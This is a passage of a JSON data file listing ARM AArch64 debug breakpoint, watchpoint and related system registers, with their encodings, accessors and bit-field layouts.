31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "DBGBVR1_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "DBGBVR2_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "DBGBVR3_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 4, "name": "DBGBVR4_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 5, "name": "DBGBVR5_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 6, "name": "DBGBVR6_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 7, "name": "DBGBVR7_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 8, "name": "DBGBVR8_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 9, "name": "DBGBVR9_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 10, "name": "DBGBVR10_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 11, "name": "DBGBVR11_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 12, "name": "DBGBVR12_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 13, "name": "DBGBVR13_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 14, "name": "DBGBVR14_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 15, "name": "DBGBVR15_EL1", "fullname": "Debug Breakpoint Value Registers", "enc": [2, 0, 0, 0, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "DBGBCR_EL1.BT==0b000x", "fields": [{"name": "RESS[14:4]", "msb": 63, "lsb": 53}, {"name": "VA[52:49]", "msb": 52, "lsb": 49}, {"name": "RESS[3:0]", "msb": 52, "lsb": 49}, {"name": "VA[48:2]", "msb": 48, "lsb": 2}]}, {"instance": "DBGBCR_EL1.BT==0b001x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b011x", "fields": [{"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b100x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b101x and EL2 implemented", "fields": [{"name": "VMID[15:8]", "msb": 47, "lsb": 40}, {"name": "VMID[7:0]", "msb": 39, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}, {"instance": "DBGBCR_EL1.BT==0b110x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}]}, {"instance": "DBGBCR_EL1.BT==0b111x, EL2 implemented, and (FEAT_VHE implemented or FEAT_Debugv8p2 implemented)", "fields": [{"name": "ContextID2", "msb": 63, "lsb": 32}, {"name": "ContextID", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DBGCLAIMCLR_EL1", "fullname": "Debug CLAIM Tag Clear register", "enc": [2, 0, 7, 9, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "CLAIM", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DBGCLAIMSET_EL1", "fullname": "Debug CLAIM Tag Set register", "enc": [2, 0, 7, 8, 6], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "CLAIM", "msb": 7, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DBGDTR_EL0", "fullname": "Debug Data Transfer Register, half-duplex", "enc": [2, 3, 0, 4, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "HighWord", "msb": 63, "lsb": 32}, {"name": "LowWord", "msb": 31, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DBGDTRRX_EL0", "fullname": "Debug Data Transfer Register, Receive", "enc": [2, 3, 0, 5, 0], "accessors": ["MRS"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "DBGDTRTX_EL0", "fullname": "Debug Data Transfer Register, Transmit", "enc": [2, 3, 0, 5, 0], "accessors": ["MSR"], "fieldsets": [{"fields": []}], "width": 64}, {"index": 0, "name": "DBGPRCR_EL1", "fullname": "Debug Power Control Register", "enc": [2, 0, 1, 4, 4], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "CORENPDRQ", "msb": 0, "lsb": 0}, {"name": "CORENPDRQ", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "DBGVCR32_EL2", "fullname": "Debug Vector Catch Register", "enc": [2, 4, 0, 7, 0], "accessors": ["MRS", "MSR"], "fieldsets": [{"instance": "EL3 implemented and using AArch64", "fields": [{"name": "NSF", "msb": 31, "lsb": 31}, {"name": "NSI", "msb": 30, "lsb": 30}, {"name": "NSD", "msb": 28, "lsb": 28}, {"name": "NSP", "msb": 27, "lsb": 27}, {"name": "NSS", "msb": 26, "lsb": 26}, {"name": "NSU", "msb": 25, "lsb": 25}, {"name": "SF", "msb": 7, "lsb": 7}, {"name": "SI", "msb": 6, "lsb": 6}, {"name": "SD", "msb": 4, "lsb": 4}, {"name": "SP", "msb": 3, "lsb": 3}, {"name": "SS", "msb": 2, "lsb": 2}, {"name": "SU", "msb": 1, "lsb": 1}]}, {"instance": "EL3 not implemented", "fields": [{"name": "F", "msb": 7, "lsb": 7}, {"name": "I", "msb": 6, "lsb": 6}, {"name": "D", "msb": 4, "lsb": 4}, {"name": "P", "msb": 3, "lsb": 3}, {"name": "S", "msb": 2, "lsb": 2}, {"name": "U", "msb": 1, "lsb": 1}]}], "width": 64}, {"index": 0, "name": "DBGWCR0_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 1, "name": "DBGWCR1_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 2, "name": "DBGWCR2_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 4, "lsb": 3}, {"name": "PAC", "msb": 2, "lsb": 1}, {"name": "E", "msb": 0, "lsb": 0}]}], "width": 64}, {"index": 3, "name": "DBGWCR3_EL1", "fullname": "Debug Watchpoint Control Registers", "enc": [2, 0, 0, 0, 7], "accessors": ["MRS", "MSR"], "fieldsets": [{"fields": [{"name": "MASK", "msb": 28, "lsb": 24}, {"name": "WT", "msb": 20, "lsb": 20}, {"name": "LBN", "msb": 19, "lsb": 16}, {"name": "SSC", "msb": 15, "lsb": 14}, {"name": "HMC", "msb": 13, "lsb": 13}, {"name": "BAS", "msb": 12, "lsb": 5}, {"name": "LSC", "msb": 